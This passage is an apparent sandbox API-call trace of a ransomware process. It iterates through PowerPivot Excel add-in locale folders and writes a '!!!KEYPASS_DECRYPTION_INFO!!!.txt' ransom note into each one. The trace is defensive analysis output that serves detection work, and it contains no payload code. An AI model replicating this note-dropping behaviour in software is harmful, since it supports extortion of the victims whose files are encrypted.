dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0255.380] GetFileType (hFile=0x934) returned 0x1 [0255.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.380] WriteFile (in: hFile=0x934, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.381] WriteFile (in: hFile=0x934, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.381] CloseHandle (hObject=0x934) returned 1 [0255.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a438 [0255.382] FindNextFileW (in: hFindFile=0x3a0a438, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.382] FindNextFileW (in: hFindFile=0x3a0a438, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.382] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.382] FindNextFileW (in: hFindFile=0x3a0a438, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.382] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.382] FindNextFileW (in: hFindFile=0x3a0a438, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.382] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.382] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.382] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.382] GetLastError () returned 0x3f0 [0255.382] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.382] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0255.383] GetFileType (hFile=0x940) returned 0x1 [0255.384] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.384] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.384] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.384] WriteFile (in: hFile=0x940, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.385] WriteFile (in: hFile=0x940, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.385] CloseHandle (hObject=0x940) returned 1 [0255.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a1b8 [0255.385] FindNextFileW (in: hFindFile=0x3a0a1b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.385] FindNextFileW (in: hFindFile=0x3a0a1b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.385] FindNextFileW (in: hFindFile=0x3a0a1b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.385] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.385] FindNextFileW (in: hFindFile=0x3a0a1b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.386] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.386] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.386] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.386] GetLastError () returned 0x3f0 [0255.386] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.386] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0255.388] GetFileType (hFile=0x944) returned 0x1 [0255.388] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.388] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.389] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.389] WriteFile (in: hFile=0x944, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.389] WriteFile (in: hFile=0x944, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.390] CloseHandle (hObject=0x944) returned 1 [0255.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a7f8 [0255.390] FindNextFileW (in: hFindFile=0x3a0a7f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.390] FindNextFileW (in: hFindFile=0x3a0a7f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.390] FindNextFileW (in: hFindFile=0x3a0a7f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.390] FindNextFileW (in: hFindFile=0x3a0a7f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.390] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.390] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.390] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.390] GetLastError () returned 0x3f0 [0255.391] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.391] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0255.391] GetFileType (hFile=0x948) returned 0x1 [0255.391] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.391] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.391] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.392] WriteFile (in: hFile=0x948, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.392] WriteFile (in: hFile=0x948, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.393] CloseHandle (hObject=0x948) returned 1 [0255.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a278 [0255.393] FindNextFileW (in: hFindFile=0x3a0a278, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x3a0a278, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.393] FindNextFileW (in: hFindFile=0x3a0a278, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.393] FindNextFileW (in: hFindFile=0x3a0a278, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.393] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.393] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.393] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.393] GetLastError () returned 0x3f0 [0255.393] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.393] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0255.395] GetFileType (hFile=0x950) returned 0x1 [0255.395] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.395] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.395] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.395] WriteFile (in: hFile=0x950, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.396] WriteFile (in: hFile=0x950, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.396] CloseHandle (hObject=0x950) returned 1 [0255.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a338 [0255.397] FindNextFileW (in: hFindFile=0x3a0a338, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.397] FindNextFileW (in: hFindFile=0x3a0a338, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.397] FindNextFileW (in: hFindFile=0x3a0a338, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.397] FindNextFileW (in: hFindFile=0x3a0a338, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.397] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.397] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.397] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.397] GetLastError () returned 0x3f0 [0255.397] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.397] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0255.410] GetFileType (hFile=0x94c) returned 0x1 [0255.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.410] WriteFile (in: hFile=0x94c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.411] WriteFile (in: hFile=0x94c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.411] CloseHandle (hObject=0x94c) returned 1 [0255.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a4b8 [0255.412] FindNextFileW (in: hFindFile=0x3a0a4b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.412] FindNextFileW (in: hFindFile=0x3a0a4b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.412] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.412] FindNextFileW (in: hFindFile=0x3a0a4b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.412] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.412] FindNextFileW (in: hFindFile=0x3a0a4b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.412] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.412] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.412] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.412] GetLastError () returned 0x3f0 [0255.412] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.412] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1055\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0255.414] GetFileType (hFile=0x954) returned 0x1 [0255.414] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.414] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.414] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.414] WriteFile (in: hFile=0x954, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.415] WriteFile (in: hFile=0x954, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.415] CloseHandle (hObject=0x954) returned 1 [0255.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a238 [0255.415] FindNextFileW (in: hFindFile=0x3a0a238, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.415] FindNextFileW (in: hFindFile=0x3a0a238, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.415] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.415] FindNextFileW (in: hFindFile=0x3a0a238, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.416] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.416] FindNextFileW (in: hFindFile=0x3a0a238, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.416] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.416] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.416] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.416] GetLastError () returned 0x3f0 [0255.416] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.416] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\!!!keypass_decryption_info!!!.txt"), 